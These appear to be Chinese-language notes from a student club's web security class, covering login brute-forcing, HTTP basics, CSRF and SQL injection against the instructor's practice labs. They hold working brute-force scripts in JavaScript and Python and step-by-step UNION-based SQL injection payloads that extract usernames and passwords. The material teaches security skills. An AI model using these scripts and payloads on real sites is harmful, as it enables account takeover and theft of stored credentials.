# 網頁安全 2 :::info 時間:11/28 19:00~21:00 地點:學活中心 3樓 第三會議室 主題:網頁安全 2 簡報: 回饋表單:https://forms.gle/Le5LbCBExWrSUZGv6 >fei@kiwissec.com[name=飛飛] ::: ## 上週連結 - https://hackmd.io/GjdKRn8jQIa9TB0Rcxu3-Q - 進度 - cookie 機制 - XSS 機制 - SQL injection 資料庫相關漏洞攻擊手法 - SQL map 工具如何使用 ## 進度表 https://docs.google.com/spreadsheets/d/1NXl0CoDPFXxu3N1wVC4rQHItXitpBtgixblSx63GLdk/edit?usp=sharing ## 暴力破解機制 1. 收集有效的帳號列表 2. 收集有效/現成的密碼列表 - [字典檔列表](https://github.com/danielmiessler/SecLists/blob/master/Passwords/darkweb2017-top10000.txt) 3. 分析一下登入的介面 - 開啟開發者工具(F12、右鍵>檢視) - 打開元素,目的 -> 分析 `HTML` - 找到登入框(輸入帳號密碼的地方) - form 標籤 --> 表單 - action - 傳資料傳過去的目的地 - method - 傳資料使用了什麼方法 - ex 網址(GET)、表單(POST) - 目的不同,使用的方法也不同 - 兩個輸入框(輸入帳號密碼) - input 標籤 4. 分析輸入帳號密碼如果錯誤會有什麼特徵 - "帳號密碼錯誤" 根據這個特徵繼續爆破 - 直到不是"帳號密碼錯誤"的關鍵字 5. 撰寫攻擊程式 - BurpSuite - Python - JavaScript - Kali Linux (駭客作業系統) - [hydra](https://www.kali.org/tools/hydra/) 6. 使用 JavaScript 進行測試與範例 ``` // 帳號和密碼的列表 var usernames = [ 'admin','1']; var passwords = ['123456', '111111', '1']; // 定義一個函數來處理登入和回應 function loginAndFetchFirstLine(username, password) { var formData = new FormData(); formData.append('username', username); formData.append('password', password); fetch('/login.php', { method: 'POST', body: formData }) .then(response => response.text()) .then(data => { var firstLine = data.split('\n')[0]; console.log(`Username: ${username}, Password: ${password}, First Line: ${firstLine}`); }) .catch(error => { console.error('Error:', error); }); } // 使用嵌套迴圈遍歷每個帳號和密碼組合 for (var i = 0; i < usernames.length; i++) { for (var j = 0; j < passwords.length; j++) { loginAndFetchFirstLine(usernames[i], passwords[j]); } } ``` ### lab 1 - 大家嘗試一下使用 JS 來進行爆破 - 打開弱點網站 - http://vullab.feifei.tw/login.php - ![image](https://hackmd.io/_uploads/HyvmTBXBa.png) - 開啟開發人員工具 - 打開主控台 - ![image](https://hackmd.io/_uploads/S13EaH7Hp.png) - 送出攻擊程式碼 - ![image](https://hackmd.io/_uploads/HJNU6HmS6.png) - 確認是否攻擊成功 - ![image](https://hackmd.io/_uploads/B1FwpBQBp.png) - ![image](https://hackmd.io/_uploads/B1SOTrXBp.png) ## https://curlconverter.com/ ![image](https://hackmd.io/_uploads/BJiG1LXrT.png) ``` import requests cookies = { 'PHPSESSID': '7f946931daa475a2202cac7e3af3d9ac', } headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7', 'Accept-Language': 'zh-TW,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Content-Type': 'application/x-www-form-urlencoded', # 'Cookie': '_ga_EQDN3BWDSD=GS1.1.1699348354.4.1.1699349618.0.0.0; _ga=GA1.1.985582985.1699082190; _ga_HLDNFCVMBK=GS1.1.1699600453.11.1.1699600578.0.0.0; _ga_JS7QCCTX9Q=GS1.1.1699608984.12.0.1699608984.0.0.0; PHPSESSID=7f946931daa475a2202cac7e3af3d9ac', 'Origin': 'http://vullab.feifei.tw', 'Pragma': 'no-cache', 'Referer': 'http://vullab.feifei.tw/login.php', 'Upgrade-Insecure-Requests': '1', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0', } data = { 'username': 'a', 'password': 'a', } # 帳號密碼的字典檔案 username_list = ["1","admin"] password_list = ["1","admin11111111"] for username in username_list: for password in password_list: data['username'] = username data['password'] = password response = requests.post('http://vullab.feifei.tw/login.php', cookies=cookies, headers=headers, data=data, verify=False) print(response.text) ``` ## 網路概念 1. 協定 protocol 2. 網頁世界協定-HTTP - 請求封包 - 瀏覽器自動構造 - curl - 開發人員工具內建 Netword - 回應封包 - [狀態碼](https://http.cat/) - 1XX 資訊狀態: 協定轉換、資訊內容 - 2XX 成功狀態: 200ok(檔案內容正常)201 新增成功 - 3XX 跳轉狀態: 301 vs 302 - 4XX 使用者錯誤: 401(沒輸入帳號密碼) 403(權限不夠) 404(這東西根本存在) - 5XX 伺服器錯誤: 500 503 伺服器沒有辦法應付請求(ex 搶演唱會的票) - https://http.dog/ 3. 編碼機制 - URL 編碼 - [網站](https://www.urldecoder.org/) - Base64 - [網站](https://www.base64decode.org/) ### CSRF - https://superlogout.com - 使用者登入的狀態 - 在不經意(非經許可)的情況底下送出請求 - CSRF 弱點 - 防護手法 - 表單放 CSRF token - 功能 - 登出 - 轉帳(區塊鍊、錢包) - 網站其他功能 ## 資料庫 - lab - https://lab.feifei.tw/practice/sqli/ - 放資料的地方 - 很像 excel/試算表 - 語法 - 可能有弱點的地方 ### 體驗資料庫後台 - XAMPP - Windows/Mac(跨平台) - 圖形化架設網站 - X 混合 - Apach - MySQL - PHP (程式語言) - Perl (程式語言) - MySQL - 資料庫管理軟體 - 後台(圖形化操作資料庫) - phpmyadmin - ![image](https://hackmd.io/_uploads/Hya6HIXBT.png) ![image](https://hackmd.io/_uploads/rJ3xLImHp.png) ![image](https://hackmd.io/_uploads/S1UVII7Bp.png) ## 學習基礎 SQL 使用 `SELECT * FROM employees;` `SELECT name, department FROM employees where name='Bob';` - ![image](https://hackmd.io/_uploads/HysyOUQrp.png) - SQL - 所有欄位 - FROM 資料表 - 這一個資料表的所有欄位 - 4 - SELECT id,name,address,salary FROM employees ### MySQL Functions 內建 - user() / current_user() - 查詢正在登入使用者名稱 - version()/ @@version - 版本 - database() / schema() - 資料庫的名稱 ![image](https://hackmd.io/_uploads/ryJC5LXra.png) ![image](https://hackmd.io/_uploads/S1NgsImrp.png) ![image](https://hackmd.io/_uploads/r1KFoI7Ba.png) ![image](https://hackmd.io/_uploads/Sy8AiUmHT.png) `SELECT table_name FROM information_schema.tables WHERE table_schema='myDb'` ![image](https://hackmd.io/_uploads/rkb-28mrp.png) `SELECT column_name FROM information_schema.columns WHERE table_name='user_system_data'` ![image](https://hackmd.io/_uploads/SJnUn8XrT.png) `SELECT userid,user_name,password,cookie FROM myDb.user_system_data` - Pedro - ![image](https://hackmd.io/_uploads/HyP92UmST.png) :::spoiler Lab Solve `SELECT schema_name FROM information_schema.schemata` -> 找資料庫列表 `SELECT table_name FROM information_schema.tables WHERE table_schema='myDb'` -> 基於資料庫名稱找資料表 `SELECT column_name FROM information_schema.columns WHERE table_name='user_system_data'` -> 基於資料表名稱找資料欄位 `SELECT userid,user_name,password,cookie FROM myDb.user_system_data` -> 資料庫,資料表,資料欄位 > 最終目的: 找資料 ::: ### SQL injection - 登入帳號密碼 - 正常輸入帳號密碼 - `SELECT * FROM admins WHERE username='admin and password='2u8c*4k2MzKPWZGfri';` - 帳號輸入`admin' -- #` - 影響邏輯 - `'or '1'='1' -- #` - **將邏輯變成 "沒有特殊條件查詢"** - 找到所有資料 - ![image](https://hackmd.io/_uploads/r1rObwQr6.png) - https://zeroday.hitcon.org/api/vulnerability/8540/attachments/543a2af3e5967c86b8fcb40bbf28e972 ![image](https://hackmd.io/_uploads/B1ShbPQra.png) `"SELECT * FROM user_data WHERE first_name = 'Everett' AND last_name = 'feo'";` - 原始查詢 - 條件符合 first_name = 'Everett' 並且也符合 last_name = 'feo' ==> 同時成立 10 or 1=1 -- # ![image](https://hackmd.io/_uploads/B1EcGwQHa.png) - Union select - 原始查詢個數 ex 原本查了兩個欄位,union select 也要查兩個欄位 - ![image](https://hackmd.io/_uploads/B1uRGwQBp.png) - 特性 型態要一樣 - ![image](https://hackmd.io/_uploads/B1WfmPmHp.png) - 程式碼 - 輸出數字(算金額) 程式邏輯出錯 - DBMS 自動轉換 數字<==>文字 如何查詢原本的欄位有多少欄位數量 Carter' order by 1 -- # Carter' order by 2 -- # Carter' order by 3 -- # Carter' order by 4 -- # Carter' order by 5 -- # Carter' order by 6 -- # Carter' order by 7 -- # ==> 表示原始查詢有七個欄位 Carter' order by 8 -- # ==> 錯誤 order by 數字 ==> 基於第__個欄位進行排序 #### step 1: 補成union select 格式搭配我查到原始查詢的個數 SELECT * FROM user_data WHERE last_name = '' union select NULL,NULL,NULL,NULL,NULL,NULL,NULL -- # #### 搭配資訊資料庫 資訊資料庫 information_schema 存放所有資料庫、資料表、資料欄位 找資料庫名稱 SELECT schema_name FROM information_schema.schemata 資料表名稱 SELECT table_name FROM information_schema.tables WHERE table_schema='資料庫名稱' 找欄位名稱 SELECT column_name FROM information_schema.columns WHERE table_name='資料表名稱' #### 找資料庫名稱 ' union select NULL,schema_name,NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata -- # ![image](https://hackmd.io/_uploads/H1Bo4DmBT.png) ' union select NULL,group_concat(schema_name),NULL,NULL,NULL,NULL,NULL FROM information_schema.schemata -- # ![image](https://hackmd.io/_uploads/B1PC4P7ST.png) #### 資料表名稱 ' union select NULL,group_concat(table_name),NULL,NULL,NULL,NULL,NULL FROM information_schema.tables WHERE table_schema='myDb' -- # ![image](https://hackmd.io/_uploads/HJqKSDmBp.png) employees,moneypig,products,user_data,user_salary_data,user_system_data #### 資料欄位 ' union select NULL,group_concat(column_name),NULL,NULL,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='user_system_data' -- # ![image](https://hackmd.io/_uploads/SJbTrDQSa.png) #### 找資料 ' union select NULL,username,password,NULL,NULL,NULL,NULL FROM myDb.user_system_data -- # ' union select NULL,group_concat(username),NULL,NULL,NULL,NULL,NULL FROM myDb.user_system_data -- # ' union select NULL,user_name,password,NULL,NULL,NULL,NULL FROM myDb.user_system_data -- # ' union select NULL,group_concat(user_name),group_concat(password),NULL,NULL,NULL,NULL FROM myDb.user_system_data -- # ![image](https://hackmd.io/_uploads/SJTP8DQHT.png) ![image](https://hackmd.io/_uploads/HyZ8vvXBp.png) ## 小結 - 爆破密碼策略 - 收集帳號 - 密碼字典檔 - python (curl to python ) or JS 爆破 - 複習網路概論 - HTTP 封包概念 - 狀態碼 - Cookie 機制 - 弱點 - CSRF - SQL injection - 資料庫有關係攻擊方法 - sqlmap - 失去了解漏洞原理 - 先了解原理再學工具 ## 回家作業 - 基礎 - https://lab.feifei.tw/practice/sqli/released.php?category=Gifts - union select - https://lab.feifei.tw/practice/sqli/news.php - view-source:https://lab.feifei.tw/practice/sqli/login.php - 題目 ## 資源 - 指南 - https://feifei.tw/security-getting-started/ - 閱讀方針指南 - https://www.pentesterlab.com/bootcamp - lab - lab.feifei.tw - https://portswigger.net/web-security ## 回饋表單 https://forms.gle/Le5LbCBExWrSUZGv6